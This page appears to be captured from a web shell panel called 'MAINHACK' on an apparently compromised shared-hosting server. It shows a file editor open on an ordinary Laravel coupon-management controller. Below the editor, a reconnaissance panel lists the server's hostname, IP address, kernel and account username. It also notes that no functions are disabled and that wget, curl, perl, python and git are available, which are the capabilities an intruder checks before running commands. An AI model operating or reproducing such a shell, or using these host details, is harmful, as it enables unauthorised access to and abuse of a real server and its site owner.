[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: CouponController.php
<?php namespace App\Http\Controllers\Admin; use App\Http\Controllers\Controller; use App\Models\Coupon; use Brian2694\Toastr\Facades\Toastr; use Illuminate\Http\Request; use Illuminate\Support\Facades\DB; class CouponController extends Controller { public function add_new() { $coupons = Coupon::latest()->paginate(config('default_pagination')); return view('admin-views.coupon.index', compact('coupons')); } public function store(Request $request) { $request->validate([ 'code' => 'required|unique:coupons', 'title' => 'required', 'start_date' => 'required', 'expire_date' => 'required', 'discount' => 'required', 'coupon_type' => 'required|in:zone_wise,restaurant_wise,free_delivery,first_order,default', 'zone_ids' => 'required_if:coupon_type,zone_wise', 'restaurant_ids' => 'required_if:coupon_type,restaurant_wise' ]); $data = ''; if($request->coupon_type == 'zone_wise') { $data = $request->zone_ids; } else if($request->coupon_type == 'restaurant_wise') { $data = $request->restaurant_ids; } DB::table('coupons')->insert([ 'title' => $request->title, 'code' => $request->code, 'limit' => $request->coupon_type=='first_order'?1:$request->limit, 'coupon_type' => $request->coupon_type, 'start_date' => $request->start_date, 'expire_date' => $request->expire_date, 'min_purchase' => $request->min_purchase != null ? $request->min_purchase : 0, 'max_discount' => $request->max_discount != null ? $request->max_discount : 0, 'discount' => $request->discount_type == 'amount' ? $request->discount : $request['discount'], 'discount_type' => $request->discount_type??'', 'status' => 1, 'data' => json_encode($data), 'created_at' => now(), 'updated_at' => now() ]); Toastr::success(trans('messages.coupon_added_successfully')); return back(); } public function edit($id) { $coupon = Coupon::where(['id' => $id])->first(); // dd(json_decode($coupon->data)); return view('admin-views.coupon.edit', compact('coupon')); } public function update(Request $request, $id) { $request->validate([ 'code' => 'required|unique:coupons,code,'.$id, 'title' => 'required', 'start_date' => 'required', 'expire_date' => 'required', 'discount' => 'required', 'zone_ids' => 'required_if:coupon_type,zone_wise', 'restaurant_ids' => 'required_if:coupon_type,restaurant_wise' ]); $data = ''; if($request->coupon_type == 'zone_wise') { $data = $request->zone_ids; } else if($request->coupon_type == 'restaurant_wise') { $data = $request->restaurant_ids; } DB::table('coupons')->where(['id' => $id])->update([ 'title' => $request->title, 'code' => $request->code, 'limit' => $request->coupon_type=='first_order'?1:$request->limit, 'coupon_type' => $request->coupon_type, 'start_date' => $request->start_date, 'expire_date' => $request->expire_date, 'min_purchase' => $request->min_purchase != null ? $request->min_purchase : 0, 'max_discount' => $request->max_discount != null ? $request->max_discount : 0, 'discount' => $request->discount_type == 'amount' ? $request->discount : $request['discount'], 'discount_type' => $request->discount_type??'', 'data' => json_encode($data), 'updated_at' => now() ]); Toastr::success(trans('messages.coupon_updated_successfully')); return back(); } public function status(Request $request) { $coupon = Coupon::find($request->id); $coupon->status = $request->status; $coupon->save(); Toastr::success(trans('messages.coupon_status_updated')); return back(); } public function delete(Request $request) { $coupon = Coupon::find($request->id); $coupon->delete(); Toastr::success(trans('messages.coupon_deleted_successfully')); return back(); } public function search(Request $request){ $key = explode(' ', $request['search']); $coupons=Coupon::where(function ($q) use ($key) { foreach ($key as $value) { $q->orWhere('title', 'like', "%{$value}%") ->orWhere('code', 'like', "%{$value}%"); } })->limit(50)->get(); return response()->json([ 'view'=>view('admin-views.coupon.partials._table',compact('coupons'))->render(), 'count'=>$coupons->count() ]); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium166.web-hosting.com
Server IP: 162.0.209.40
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium166.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 75.11 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: kataubyb
User ID (UID): 624
Group ID (GID): 625
Script Owner UID: 624
Current Dir Owner: 624